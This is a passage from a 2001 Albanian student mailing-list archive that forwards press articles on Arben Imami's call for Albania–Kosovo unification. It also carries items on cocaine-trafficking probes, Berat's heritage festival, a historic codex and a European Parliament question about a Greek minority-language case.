vet?vendosjes s? Kosov?s apo p?r t? drejtat e shqiptar?ve n? Maqedoni. P?r t? t?rhequr v?mendjen e opinionit, Imami dhe PAD mund t? jen? rast m? tipik i dizekulibrit politik. Por bashk?sia nd?rkomb?tare ndoshta nuk e di se elektorati i k?saj partie mund t? jen? sa kapaciteti i nj? furgoni t? linj?s s? Unaz?s. Ndoshta jan? harruar dhe marr?zit? e m?parshme t? tij dhe PAD-it si vizita n? Beograd me ftes? t? bashk?pun?tor?ve t? Miloshevi?it apo ardhja prej Korfuzit n? Sarand? e Gjirokast?r para se t? kund?rshtonte zgjidhjen politike t? -97. Imami tani ?sht? kryetar i nj? partie q? b?n pjes? n? koalicion dhe mban postin e ministrit. Ndaj PS duhet t? vendos? n?se ?sht? e gatshme t? paguaj? dhe k?t? kosto politike q? i vjen prej aleat?ve t? vegj?l aventurier?. gazetari>> i.b --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Thu Apr 12 19:52:05 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Thu, 12 Apr 2001 16:52:05 -0700 (PDT) Subject: [ALBSA-Info] GSH Message-ID: <20010412235205.87184.qmail@web11503.mail.yahoo.com> AKTUALITET Kokaina, misioni n? Jug Kush jan? rrug?t nd?rlidh?se t? trafikut TIRANE Trafiku i kokain?s d?rgon n? jug t? Shqip?ris? tre emra t? njohur prok-uror?sh: Pertef Hamzai, shef i sektorit t? antidrog?s n? Prokurorin? e P?rgjithshme; Thoma Jano, kryeprokuror i Prokuroris? s? Tiran?s dhe z?vend?si i tij Kosta Belhuri- p?r dy dit? radhazi jan? "arratisur" nga institucioni i akuz?s. Megjith?se nj? "mision" "top sekret", tipik p?r hetimet e labirinteve n?p?r t? cilat p?rcillet mielli i bardh?, burimet nga dy institucionet e akuz?s nuk kan? mundur t? fshehin "munges?n" e treshes s? drog?s. Gjirokastra, Saranda dhe Lushnja jan? emrat e par? t? vendeve "prit?se" t? hetuesve t? rrjetit t? drog?s, konkretisht t? kokain?s s? ardhur nga Kolumbia. Nd?rkoh? q? nuk p?rjashtohet mund?sia e nj? inspektimi n? pikat ku jan? ngujuar super t? akuzuarit e trafikut t? kokain?s. Burimet n? fjal? japin dhe dy versionet e mundshme t? misionit special t? prokuror?ve, t? cil?t mbajn? n? dor? nj? nga dosjet m? t? r?nda t? k?tij fillimviti, pse jo dhe m? t? suksesshmet, nisur kjo nga nj? "bilanc" i thjesht? i faktesh dhe provash q? ?uan n? shkat?rrimin e kartelit kolumbian t? kokain?s n? vendin ton?. Hetime mbi lidhjet nd?rkufitare t? kartelit shqiptar t? kokain?s dhe atij grek, verifikimi i korridoreve lidh?se midis trafikant?ve t? t? dyja vendeve, flitet t? jet? q?llimi kryesor i udh?timit t? prokuror?ve. Duke qen? n? nj? pozicion strategjik, Shqip?ria n? k?to dhjet? vitet e fundit ?sht? kthyer n? nj? udh?kryq biznesi p?r t? gjitha trafiqet, ku pesh?n m? t? madhe e z? ai i drog?s. Kokaina e Per?ndimit dhe heroina e Lindjes kan? ulur n? nj? tryez? kapot e trafikut ballkanik. Pas p?rkthimit t? dosjeve voluminoze t? ardhura nga Italia, rezultojn? t? p?rfshir? n? trafik jo vet?m shqiptar?, por dhe fqinj t? tyre. Sipas specialist?ve t? akuz?s, formula-baz? e trafikut t? drog?s ?sht? ajo e nj? bashk?punimi perfekt rajonal e nd?rkomb?tar. N? k?t? rast korridoret p?rgjat? kufirit Shqip?ri-Greqi jan? m? t? preferueshme p?r trafikant?t, kjo fal? "kostos" m? t? vog?l t? p?cjelljes s? "pakove" t? kushtueshme v?n? n? vendet e padukshme t? kamionave apo mjeteve t? tjera l?viz?se. Nd?rkoh?, ende nuk ka ndonj? prononcim publik nga ana e specialist?ve t? trafikut t? kokain?s p?r nj? bashk?punim t? em?rtuar midis emrave t? akuzuar. Do t? jet? treshja e prokuror?ve, ajo q? do t? ver? pikat mbi "i", natyrisht e pasuar dhe nga kontributi i akuz?s greke, q? me sa duket k?t? her? ka vendosur t? heq? dor? nga indiferenca e saj p?r bashk?punim, shfaqur n? fillimet e aksionit nd?rkomb?tar ndaj kartelit kolumbian t? drog?s. Por burimet nga akuza citojn? se treshja inspektuese e drog?s mund t? jet? "mysafire" e "vip"-ave t? njohur t? drog?s. Had?rgjonaj dhe Ko?iu i p?rkasin si "rast?sisht" linj?s s? kthimit t? specialist?ve q? kan? n? dor? "m?katet" e tyre. gazetari>> Tr. Vi --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. -------------- next part -------------- HTML attachment scrubbed and removed From i_spaho at hotmail.com Fri Apr 13 01:20:59 2001 From: i_spaho at hotmail.com (irma spaho) Date: Fri, 13 Apr 2001 01:20:59 Subject: [ALBSA-Info] The world according to America Message-ID: HTML attachment scrubbed and removed -------------- next part -------------- An embedded message was scrubbed... From: Mehmet Can Ekzen Subject: Fwd: Fw: World according to America... Date: Tue, 10 Apr 2001 09:38:11 -0700 (PDT) Size: 27093 URL: From aalibali at yahoo.com Fri Apr 13 19:16:53 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Fri, 13 Apr 2001 16:16:53 -0700 (PDT) Subject: [ALBSA-Info] Shekulli, 13 Prill 2001 Message-ID: <20010413231653.76201.qmail@web11501.mail.yahoo.com> Patriotizmi i "?uditsh?m" i Imamit Nga Zamir Alushi Dit?t e fundit, erdh?n nj? grup biznesmen? kosovar?, q? biseduan me v?llez?rit e tyre biznesmen? dhe me zyrtar?t e lart? t? Shqip?ris?. Gjith?ka kaloi shum? mir?: ata biseduan p?r biznes dhe u larguan me iden? p?r bashk?punim m? t? ngusht? me vendin m?m?. K?ta, me sa duket, mund t? ken? qen? ngacmimi p?r nj? "iniciativ? politike" surpriz?. Dje, zoti Imami, i ka habitur shqiptar?t k?tej dhe andej kufirit me "patriotizmin" e tij, kur deklaroi se do t? punoj? p?r bashkimin e Shqip?ris? me Kosov?n. Duke rikonfirmuar edhe nj? aspirat? shekullore, ai u tha gazetar?ve se Aleanca Demokratike do t? punonte legjislatur?n e ardhshme p?r "unifikimin paq?sor" t? Shqip?ris? me Kosov?n, ndryshe nga ?'?sht? b?r? deri m? sot nga Qeveria. M? tej, ai denoncoi (kjo fjal? m? duket se i shkon veprimit t? tij) nj? plan konkret se si do t? arrihej kjo gj?, duke shpalosur masa n? fush?n e drejt?sis?,institucioneve, ekonomis?, mbrojtjes, sigurimit etj. K?to deklarata t? b?ra qoft? nga posti i ministrit t? Drejt?sis?, apo si kryetar i nj? partie t? koalicionit Aleanca p?r Shtetin, n? qoft? se nuk jan? lajthitje politike,jan? nj? provokim dhe diversion ndaj politik?s s? t?rhequr q? po b?n Shqip?ria n? rajon. Po t? ndjek?sh deklaratat e Kryeministrit, ministrit t? Jasht?m, Presidentit, Komisionit t? Politik?s s? Jashtme n? Kuvend, nuk gjen askund ndonj? mb?shtetje p?r k?t? platform? "unifikimi". Madje ai deklaroi se nuk i merrte askujt leje p?r k?to q?ndrime. Por le t? shohim sfondin politik t? aventur?s. Dje ministri i Jasht?m u nis n? Shkup p?r t? marr? pjes? n? takimin me sekretarin e shtetit Pauell, ku pritet q? t? rivler?sohet sadopak pozita e shqiptar?ve ndaj maqedonasve, nd?rsa kryeministri Meta mblodhi njer?zit e organeve t? rendit dhe t? ushtris? p?r t'u kujdesur q? t? shuaj? ?do dyshim t? hedhur nga maqedonasit lidhur me p?rdorimin e kufirit shqiptar nga luft?tar?t e U?K-s?. Diplomacia evropiane i ?sht? bashkuar z?rit amerikan p?r respektimin e t? drejtave t? shqiptar?ve, nd?rsa sllav?t presin vet?m q? ne t? gabojm?. N? k?to kushte, guximi i Imamit i kap?rcen kufijt?. Vet?m kaq duhet q? t? fillojn? nga e para sllav?t dhe grek?t me avazin e "Shqip?ris? s? Madhe". Ligj?rata romantike e Imamit ( ajo nuk i sh?rben p?r momentin interesave shqiptare) mund t? kompromentoj? jo vet?m qeverin?, por dhe partin? Aleanca Demokratike (e pashfaqur deri m? sot si nacionaliste). E lan?uar si pjes? e programit t? PAD-it, platforma duket se synon t? hap? nj? debat tjet?r (ai duhet ta ket? parashikuar reagimin), q? mbase mund t? mbuloj? ?arjen me Cek?n lidhur me aleancat e mundshme parazgjedhore. M? e pakta q? duhet t? b?j? Qeveria, n? k?t? rast, ?sht? t? b?j? korrigjimet e nevojshme ndaj deklaratave t? Imamit, nd?rsa duhet t? marr? masa p?r t? disiplinuar ministrat, q? t'u binden detyrimeve kushtetuese. --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Fri Apr 13 19:27:47 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Fri, 13 Apr 2001 16:27:47 -0700 (PDT) Subject: [ALBSA-Info] ATSH Message-ID: <20010413232747.18493.qmail@web11503.mail.yahoo.com> Nje kodik i shekullit te XVII ne arkivin e Muzeut Kombetar TIRANE, 13 Prill/ATSH-Klotilda Bi?aku/.- Nje kodik me vlera te rralla historike, i cili i perket shekullit te XVII, me origjine nga Vithkuqi i Kor?es ndodhet ne arkivin e Muzeut Historik Kombetar. Burime nga Muzeu Historik Kombetar thane te enjten per ATSH-ne se, "kodiku ne gjuhen greke i shtypur ne Venedik te Italise permban kater ungjijte, komente liturgjike dhe kalendarin e festave fetare". Kodiku ka nje numer te madh gravurash me interes te ve?ante historik, te cilat jane te stilit barok dhe jane e vetmja deshmi qe arti barok europian eshte pelqyer dhe njohur ne Shqiperi. Ndersa kapaku i kodikut ka punime ne reliev prej floriri, te cilat parqesin kater ungjilloret, Mateun, Markun, Luken dhe Gjonin, nje skeme te krishtit ulur ne fron dhe qe ka anash Shen Merine dhe Shen Gjon Pagezorin si dhe disa koka engjejsh. Punimi artistik i kapakut prej floriri i perket shekullit te XVIII dhe eshte i stilit postbizantin. Sipas specialisteve, ky stil kombinon me zhvillimin e ikonografise shqiptare te shkolles se Kor?es si dhe me emrat e ikonografeve David Selenica dhe Kostandin Shpataraku. Ne faqet e brendshme te Kodikut ka disa shenime ne greqisht perkthyer nga bizantologu shqiptar Theofan Popa, te cilat saktesojne daten e djegies se Vithkuqit dhe shkaterrimin e kishave te tij ne vitin 1822. /f.n/ --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Fri Apr 13 19:30:13 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Fri, 13 Apr 2001 16:30:13 -0700 (PDT) Subject: [ALBSA-Info] Per Beratin Message-ID: <20010413233013.96352.qmail@web11507.mail.yahoo.com> Ne Berat; "Takim Nderkombetar i qyteteve keshtjelle" TIRANE, 13 Prill/ATSH-Klotilda Bi?aku/.- Historia dhe tradita folklorike e qyteteve keshtjelle nga shume vende te Europes do te prezantohen ne nje festival folklorik, i cili do te zhillohet ne muajin qershor te ketij viti ne Berat. I titulluar "Takim Nderkombetare i qyteteve keshtjelle" ky aktivtet organizohet nga Ministria e Kultures, Rinise dhe Sporteve dhe Bashkia e Beratit ne kuader te 2400 vjetorit te themelimit te qytetit te Beratit. Grupet folklorike nga qytetet keshtjelle do te prezatojne per tre dite me rradhe kenget dhe vallet folklorike te qyteteve qe perfaqesojne, nderkohe qe pjese e festivalit do te jete edhe parada e veshjeve tradicionale te ketyre qyteteve. Nje vend te ve?ante ne kete festival do te zere edhe ?elja e nje panairi artistik ne sheshin qendror te kalase ku do te jene te ekspozuara veshje artistike, piktura ne natyre ne qender te te cilave do te jete qyteti i Beratit, gdhendje ne dru, punime metali si dhe gatime karakteristike te Beratit. Ndersa nata finale e festivalit do te kremtohet ne nje atmosfere festive me fishekzjarre , kembana, zbukurime dekorative dhe shfaqje artistike te improvizuara ne rruge. Pjese e ketij festivali eshte edhe organizimi i nje simpoziumi shkencor ne qender te te cilit do te jete qyteti keshtjelle i Beratit ne zinxhirin e keshtjellave te fortifikuara, perspektiva e qytetit nepermjet Institutit te Monumenteve te Kultures si dhe krijimtaria e ikonografit te njohur shqiptar Onufri, i cili ka pikturuar mjaft kisha ne qytetin e Beratit. * * * Berati, nje nga qytetet me te lashte te Shqiperise Berati, nje vendbanim i hershem ilir i shekullit VI-V p.e.r u shnderrua ne fillim te shekullit III p.e.r ne keshtjelle qytet. I njohur me emrin Antipatrea ne luftrat iliro-romake ne fillim te shekullit XI ishte vater e kryengritjeve kunder sundimit bizantin. Ndersa gjate sundimit te Muzakajve ishte qender e tyre, lulezoi zejtaria si dhe punimi i mendafshit. Ne kalane e Beratit u ndertuan disa kisha me afreske te rralla dhe me vlera te ve?anta arktektonike si dhe u hap shkolla e piktures, e cila vazhdoi me pas si tradite. Me zmadhimin e qytetit lindi lagjia Mangalem, me pas Perroi e Vakefi. Sipas specialisteve ne fund te shekullit XVI qyteti i Beratit pesoi renie te madhe me 710 shtepi, ndersa e rimori veten ne shekullin XVII dhe perteriu traditat kultutore. Duke qene se ishte qender sanxhaku filluan ndertimet e kultit musliman si xhamia e Bajazidit II ne shek XV, xhamia Mbret shek.XVI, xhamia e Plumbit 1555, si dhe rindertimi i kishave . Lagja e sotme e k?shtjell?s s? Beratit ka tiparet arkitektonike t? shekullit t? XVIII. Brenda saj ruhen si monumente kulture nj? varg nd?rtesash me vlera t? m?dha, t? cilat datohen nga shekulli i XIII- XVIII. Vlen t? p?rmendet kisha e Sh?n Vllahern?s, kisha e Sh?n Triadh?s, kisha e Sh?n Todrit, e pikturuar nga Onufri, dy xhami etj. Ali Pash? Tepelena e 'shtiu n? dor?' n? vitin 1809 dhe i p?rforcoi muret e k?shtjell?s shekullore. Roli i saj mbrojt?s ra n? mesin e shekullit t? XIX. Qyteti i Beratit mori pamjen e sotme ne shekullin XVIII e sidomos ne shek. XIX , pas termetit te vitit 1851. Ikonostaset e shek. XVIII tregojne mjeshterine e gdhendjes se drurit. Ne vitin 1780 ne qender te qytetit u ndertua teqeja Helvetive, kurse ne vitin 1797 u ndertua katedralja dhe ne 1827 xhamia e Beqareve. /f.n/ --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Fri Apr 13 22:01:20 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Fri, 13 Apr 2001 19:01:20 -0700 (PDT) Subject: [ALBSA-Info] An "article" on Kosova Message-ID: <20010414020120.33354.qmail@web11504.mail.yahoo.com> http://194.247.192.52/~nbbm/386.htm --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. -------------- next part -------------- HTML attachment scrubbed and removed From tema at albaniaonline.net Sat Apr 14 06:19:41 2001 From: tema at albaniaonline.net (Mero Baze) Date: Sat, 14 Apr 2001 12:19:41 +0200 Subject: [ALBSA-Info] Re: ALBSA-Info digest, Vol 1 #419 - 3 msgs References: <200104131318.f3DDI3H17713@alb-net.com> Message-ID: <005701c0c4cc$6c4e09c0$acc8fea9@mero> P?rse nuk ?sht? elektorale deklarata e Arben Imamit? Mero Baze Kryeministri Ilir Meta dhe drejtues t? s? majt?s n? pushtet po p?rpiqen t? "izolojn?" efektet reale t? deklarat?s s? kryetarit ekzekutiv t? nj? partie n? koalicionin qeveritar, rreth shanseve t? bashkimit t? Shqip?ris? me Kosov?n, duke e konsideruar k?t? nj? deklarat? t? nxitur nga stina elektorale n? Shqip?ri. N? k?t? kontekst kryeministri dhe identikit?t e tij, nga nj? an? shk?pusin "p?rgjegj?sin?" e qeveris? p?r nj? deklarat? t? till?, dhe nga ana tjet?r e mbulojn? deklarat?n me nj? vello pafaj?sie, e cila synon t? mos shkaktoj? probleme brenda koalicionit. N? fakt deklarata e Arben Imamit ka dhjet?ra pista p?r t'u analizuar, p?rve? nj?r?s pist?, asaj q? i m?shon m? shum? kryeministri shqiptar dhe q? ka t? b?j? me zgjedhjet elektorale n? vend. Q? nj? lider partie t? b?j? nj? deklarat? t? till? p?r elektorat para zgjedhjeve, ai s? pari duhet t? ket? nj? parti nacionaliste dhe predispozit? p?r t'u fuqizuar, n?se mban q?ndrime nacionaliste. Partia Aleanca Demokratike ?sht? krijuar si parti s? pari n? reaksion me disa b?rthama nacionaliste brenda Partis? Demokratike n? at? koh? n? pushtet. Ajo shpalli si prioritet t? saj liberalizmin, dhe gjestin e par? politik q? ka b?r? n? k?t? drejtim Arben Imami, ka qen? shkuarja n? Beograd qysh n? vitin 1993 p?r t'u takuar me Jovanovi?in. Dhe n? at? koh? ka pasur shum? etiketime rreth vizit?s bile dhe nga politika zyrtare, por thelbi i vizit?s u pranua nga Aleanca Demokratike dhe u konsiderua nj? vizion liberal i partis?. M? tej akoma presidenti i asaj partie Neritan Ceka dy vjet m? von? shpalli publikisht se ?sht? i gatsh?m t? mbante n? sht?pin? e tij n? Tiran?, refugjat? nga serb?t e Bosnj?s, ?ka shkaktoi s?rish reaksion, por s?rish forcoi portretin e nj? partie me elektorat liberal t? prirur ndaj miq?sis? me serb?t n? p?rgjith?si dhe t? komunikuesh?m me kart?n e nacionalist?ve serb? n? pushtet n? at? koh?. N? prag t? referendumit p?r kushtetut?n n? vitin 1994, Arben Imami ishte i pari q? ngriti tezat m? antikosovare n? Shqip?ri, duke deklaruar se rreth 300 mij? kosovar? do t? vijn? t? votojn? pro Berish?s, duke nxitur nj? val? t? refuzimit politik t? Kosov?s dhe kosovar?ve n? p?rgjith?si. N? biografin? e tij politike t? k?tyre viteve, ka plot ngjarje t? tilla t? sh?nuara, si antikosovare ngjarje q? partia dhe elektorati i tij ia ka pranuar. N? k?t? kontekst ai nuk mund t? b?j? kurrsesi nj? deklarat? me synime elektorale q? ?sht? pro bashkimit t? Shqip?ris? me Kosov?n pasi s? pari ky ?sht? nj? koncept me t? cilin ai nuk e ka ushqyer kurr? elektoratin e vet dhe s? dyti nj? q?ndrim i till? tek elektorati i Aleanc?s Demokratike t? ul pik?. Prapavija e deklarat?s mund t? jet? gjith?ka, por jo elektorale. Ajo u b? n? t? nj?jt?n dit? kur Sekretari Amerikan i Shtetit Kolin Pauell ishte n? Shkup dhe po hetonte shanset e paqes n? Ballkan duke pasur n? fokus statusin e ardhsh?m t? Kosov?s dhe shqiptar?ve n? Maqedoni. Deklarata e Ministrit t? Drejt?sis? s? Shqip?ris?, ?sht? nj? kov? benzin? mbi zjarrin e ndezur nga fqinj?t tan? dhe disa vende lindore e per?ndimore, ndaj rrezikut t? aspiratave t? fshehura t? shqiptar?ve p?r nj? bashkim territoresh. Ajo deklarat? nuk ?sht? b?r? ta d?gjoj? elektorati i Arben Imamit n? Shqip?ri, pasi ai elektorat as q? do ta d?gjoj? fjal?n Kosov?, nuk ?sht? b?r? t? xhelozohet as Ilir Meta, por ?sht? b?r? t? d?gjohet nga faktor?t vendimmarr?s p?r fatin e m?tejsh?m t? shqiptar?ve n? Ballkan dhe me k?t? rast t? prish? ?'i ka mbetur pa prishur deri m? sot. Kryeministri Ilir Meta e di mir? se ajo nuk ?sht? nj? deklarat? elektorale, ashtu sikund?r ambasadori Limpreht e di fare mir? q? ky njeri nuk b?n gj?ra pa u konsultuar. N? k?t? histori s'ka aspak nacionaliz?m, aspak fushat? elektorale, aspak teza dhe ide q? funksionojn? si projekte shqiptare, por thjesht jemi duke par? me syt? tan?, p?rse fqinj?t tan? dhe miqt? e tyre t? larg?t e t? af?rm, mb?shtet?n kaq shum? k?t? qeveri, kaq shum? k?ta ministra, kaq shum? k?t? njeri. Bile zhurma e qeverise se kjo eshte nje deklarate elktorale eshte po aq e keqe sa deklarata e zotit Imami, pasi synon tu mbush menjden perendimoreve se ne Shqiperi ka aspirata te ndrydhura elktorale rreth kesaj teme, kaq te lakmueshme per ata qe duan tia kthejen Kosven Serbise. ----- Original Message ----- From: To: Sent: Friday, April 13, 2001 3:18 PM Subject: ALBSA-Info digest, Vol 1 #419 - 3 msgs > Send ALBSA-Info mailing list submissions to > albsa-info at alb-net.com > > To subscribe or unsubscribe via the World Wide Web, visit > http://www.alb-net.com/mailman/listinfo/albsa-info > or, via email, send a message with subject or body 'help' to > albsa-info-request at alb-net.com > > You can reach the person managing the list at > albsa-info-admin at alb-net.com > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of ALBSA-Info digest..." > > > Today's Topics: > > 1. Qendrim i ri i Qeverise Shqiptare? (Agron Alibali) > 2. ANSA (Agron Alibali) > 3. Andi concert (F_L_I _R_I) > > --__--__-- > > Message: 1 > Date: Thu, 12 Apr 2001 11:22:43 -0700 (PDT) > From: Agron Alibali > To: Albsa-info at alb-net.com > Subject: [ALBSA-Info] Qendrim i ri i Qeverise Shqiptare? > > PAD, Imami: Unifikimin paqesor te Shqiperise me > Kosoven > Lajmi i ores 1:30 PM > > > > Arben Imami TIRANE- "Unifikimi paqesor i Shqiperise me > Kosoven". Kete ka deklaruar sot gjate nje konference > per shtyp, Arben Imami, kryetar ekzekutiv i Partise > Aleanca Demokratike.Sipas Imami, Aleanca Demokratike > do te veproje ne legjislaturen e ardhshme per te > realizuar kete angazhim ne kater drejtime kryesore. > Njeri prej tyre do te jete unifikimi politiko- > institucional i dy vendeve duke ndermarre reforma te > perbashketa institucionale e administrative. Ky me > synim pajtueshmerine e sistemeve politike dhe > administrative, te te sistemeve te vendimmarrjes, > ekzekutivit, drejtesise dhe te sistemeve te mbrojtjes > e sigurise. Drejtimi i dyte ka te beje me > bashkereformimin ekonomik qe synon unifikimin monetar, > doganor e fiskal, unifikimin e tregjeve te kapitalit, > mallrave si dhe unifikimin e sistemeve infrastruktura. > Nje drejtim tjeter do te jete unifikimi psiko- > kulturor nepermjet perputhshmerise se plote te te > gjitha niveleve te arsimit dhe krijimit te nje > hapesire unike kulturore shqiptare. Ndersa si drejtim > te katert, Imami theksoi inkurajimin e nje levizjeje > diplomatike per te realizuar nje konsensus sa me te > gjere te bashkesise nderkombetare rreth unifikimit te > Shqiperise me Kosoven si dhe per te arritur > mirekuptimin dhe bindjen e fqinjeve se ky unifikim nuk > krijon force destabilizuese, por eshte nje garanci e > fuqishme per stabilitetin e Shqiperise, Kosoves dhe > gjithe rajonit te Europes Juglindore. "Ne jemi te > bindur se procesi i integrimit europian shkon ne te > njejtin drejtim me nje sipermarrje te tille, te > unifikimit paqesor te Shqiperise me Kosoven", shtoi > kryetari ekzekutiv i Partise Aleanca Demokratike, > Arben Imami. ad/an (ATSH/BalkanWeb) > > Studentet takojne Ruken: Do nisim bisedimet, te > denohet dhuna > > > __________________________________________________ > Do You Yahoo!? > Get email at your own domain with Yahoo! Mail. > http://personal.mail.yahoo.com/ > > --__--__-- > > Message: 2 > Date: Thu, 12 Apr 2001 11:29:43 -0700 (PDT) > From: Agron Alibali > To: Albsa-info at alb-net.com > Subject: [ALBSA-Info] ANSA > > --0-1857309431-987100183=:49223 > Content-Type: text/plain; charset=us-ascii > > (ANSA) - TIRANA, 12 APR - Il ministro della giustizia albanese Arben Imami, leader del Partito per l'Allenza democratica (Pad), ha detto oggi che ''il futuro obiettivo politico'' del suo partito ''e' l'unificazione pacifica tra Albania e Kosovo''. > > Secondo Imami, il Pad lavorera' nella prossima legislatura per giungere a questo risultato attraverso quattro diverse direttive: l'unificazione politico-istituzionale tra le due entita', l'unificazione monetaria, doganale e fiscale e l'unificazione nel campo dell'istruzione ''per creare un unico spazio culturale albanese''. > La quarta direttiva indicata da Imami e' quella oggettivamente piu' complessa: ''Incoraggiare un movimento diplomatico che convinca la comunita' internazionale che l'unificazione tra Albania e Kosovo non crea una forza destsbilizzante, ma e' al contrario una garanzia per la stabilita' di Albania, Kosovo e di tutta l'europa sud-orientale''. Il ministro si e' detto convinto che ''il processo di integrazione europea va in questa direzione''. > E' la prima volta che un esponente del governo albanese (pur se rappresentante di un partito minore) si esprime in favore dell'unificazione tra Albania e Kosovo. In precedenza solo l'attuale leader dell'opposizione Sali Berisha (con il quale il Pad sta valutando se partecipare insieme alle prossime elezioni di giugno), si era detto favorevole alla creazione di ''una federazione albanese'' nei Balcani.(ANSA) BLL > 12/04/2001 15:51 > > > > --------------------------------- > Do You Yahoo!? > Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. > --0-1857309431-987100183=:49223 > Content-Type: text/html; charset=us-ascii > > (ANSA) - TIRANA, 12 APR - Il ministro della giustizia albanese Arben Imami, leader del Partito per l'Allenza democratica (Pad), ha detto oggi che ''il futuro obiettivo politico'' del suo partito ''e' l'unificazione pacifica tra Albania e Kosovo''.

Secondo Imami, il Pad lavorera' nella prossima legislatura per giungere a questo risultato attraverso quattro diverse direttive: l'unificazione politico-istituzionale tra le due entita', l'unificazione monetaria, doganale e fiscale e l'unificazione nel campo dell'istruzione ''per creare un unico spazio culturale albanese''.
La quarta direttiva indicata da Imami e' quella oggettivamente piu' complessa: ''Incoraggiare un movimento diplomatico che convinca la comunita' internazionale che l'unificazione tra Albania e Kosovo non crea una forza destsbilizzante, ma e' al contrario una garanzia per la stabilita' di Albania, Kosovo e di tutta l'europa sud-orientale''. Il ministro si e' detto convinto che ''il pr! > ocesso di integrazione europea va in questa direzione''.
E' la prima volta che un esponente del governo albanese (pur se rappresentante di un partito minore) si esprime in favore dell'unificazione tra Albania e Kosovo. In precedenza solo l'attuale leader dell'opposizione Sali Berisha (con il quale il Pad sta valutando se partecipare insieme alle prossime elezioni di giugno), si era detto favorevole alla creazione di ''una federazione albanese'' nei Balcani.(ANSA) BLL
12/04/2001 15:51


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ZqEtMJl8SGUeZdKmXAchTayrcg5yfSR3PxOVKARtF6fiW6Hb2YSxFgy0zYza > pLqg08M4UMqPGSTt7ZJOOanaUoBSlKAUpSgFKUoBSlKAUpSgFKUoD//Z > > > ------=_NextPart_000_6e57_33c2_4e55-- > > > --__--__-- > > _______________________________________________ > ALBSA-Info mailing list > ALBSA-Info at alb-net.com > http://www.alb-net.com/mailman/listinfo/albsa-info > > > End of ALBSA-Info Digest From office at radio21.net Sat Apr 14 13:40:55 2001 From: office at radio21.net (Radio21) Date: Sat, 14 Apr 2001 19:40:55 +0200 Subject: [ALBSA-Info] Visit www.radio21.net Message-ID: <003e01c0c50a$1e2bb6a0$b503410a@tvradio> Dear all! Please take the time and visit http://www.radio21.net A useful source of news from Kosova, Albania and the region; in both English and Albanian. Vizitoni http://www.radio21.net Lajme nga Kosova, Shqiperia dhe rajoni; ne shqip dhe anglisht. -------------- next part -------------- HTML attachment scrubbed and removed From mehollim at hotmail.com Mon Apr 16 01:35:50 2001 From: mehollim at hotmail.com (Mimoza Meholli) Date: Mon, 16 Apr 2001 01:35:50 Subject: [ALBSA-Info] Fwd: Vajza e Kosoves Message-ID: HTML attachment scrubbed and removed -------------- next part -------------- An embedded message was scrubbed... From: "isuf hajrizi" Subject: Vajza e Kosoves Date: Sun, 15 Apr 2001 10:44:48 -0400 Size: 8018 URL: From aalibali at law.harvard.edu Tue Apr 17 01:18:49 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Tue, 17 Apr 2001 01:18:49 -0400 Subject: [ALBSA-Info] Events at Harvard Law School Message-ID: An embedded message was scrubbed... From: cgl at law.harvard.edu Subject: [STUDENTORG_FLASH] A REAL treat at HLS - Jarat Chopra Date: Mon, 16 Apr 2001 08:54:13 -0400 Size: 2331 URL: From aalibali at law.harvard.edu Tue Apr 17 01:26:48 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Tue, 17 Apr 2001 01:26:48 -0400 Subject: [ALBSA-Info] Question at the European Parliament Message-ID: Unofficial translation Written Question by Mr. Arie M. OOSTLANDER to Commissioner Vitorino, Brussels, 9 april 2001 Subject: Sentencing of Mr. Sotiris Bletsas to 15 months of imprisonment for dissemination of informative material financed by the European Commission Text: In a resolution of 3 February 2001, the Council of European Bureau for Lesser Used Languages (EBLUL) in Dublin condemns the sentence of Mr. Sotiris Bletsas (Greek) of 15 months imprisonment by the Court of Justice in Athens. Mr. Sotiris Bletsas would have distributed "false information" on a European minority language in Greece. However, this so-called "false information" includes a reference to the factual existence of the language Vlach in informative material on minority languages produced by EBLUL, and financed by the European Commission. Above, the factual existence of Vlach is included in the European Commission/s Euromosaic report. Is the Commissioner aware of the condemnation of Mr. Sotiris Bletsas? If so, does the Commission consider that the decision of the Court of Justice in Athens violates the fundamental right of freedom of expression? Will the Commission take any steps against EU-Member State Greece? -------------------------------------- Arie M. OOSTLANDER Veroordeling tot 15 maanden gevangenschap van de heer Sotiris Bletsas voor de verspreiding van door de Commissie gefinancierd informatiemateriaal In een resolutie van 3 februari 2001 veroordeelt het Europees Bureau voor Minder Gebruikte Talen (EBLUL) in Dublin de veroordeling van de heer Sotiris Bletsas, Grieks staatsburger, door de Rechtbank van Athene tot 15 maanden gevangenschap. De heer Sotiris Bletsas zou "valse informatie" hebben verspreid over een Europese minderheidstaal in Griekenland. Die zogenaamde "valse informatie" bestaat echter uit een verwijzing naar het feitelijk bestaan van de taal Vlachs in door het Europees Bureau voor Minder Gebruikte Talen geproduceerd voorlichtingsmateriaal over minderheidstalen in Europa. Dit materiaal wordt gefinancierd door de Europese Commissie. Bovendien is het feitelijk bestaan van de taal Vlachs erkend in het Euromosaic Rapport van de Europese Commissie. Is de Commissaris bekend met de veroordeling van de heer Sotiris Bletsas?Zo ja, acht de Europese Commissie het besluit van de rechtbank van Athene in strijd met het fundamentele recht op vrijheid van meningsuiting?Is de Commissie van plan om eventueel stappen te nemen tegen de lidstaat Griekenland? From aalibali at law.harvard.edu Tue Apr 17 08:04:29 2001 From: aalibali at law.harvard.edu (aalibali at 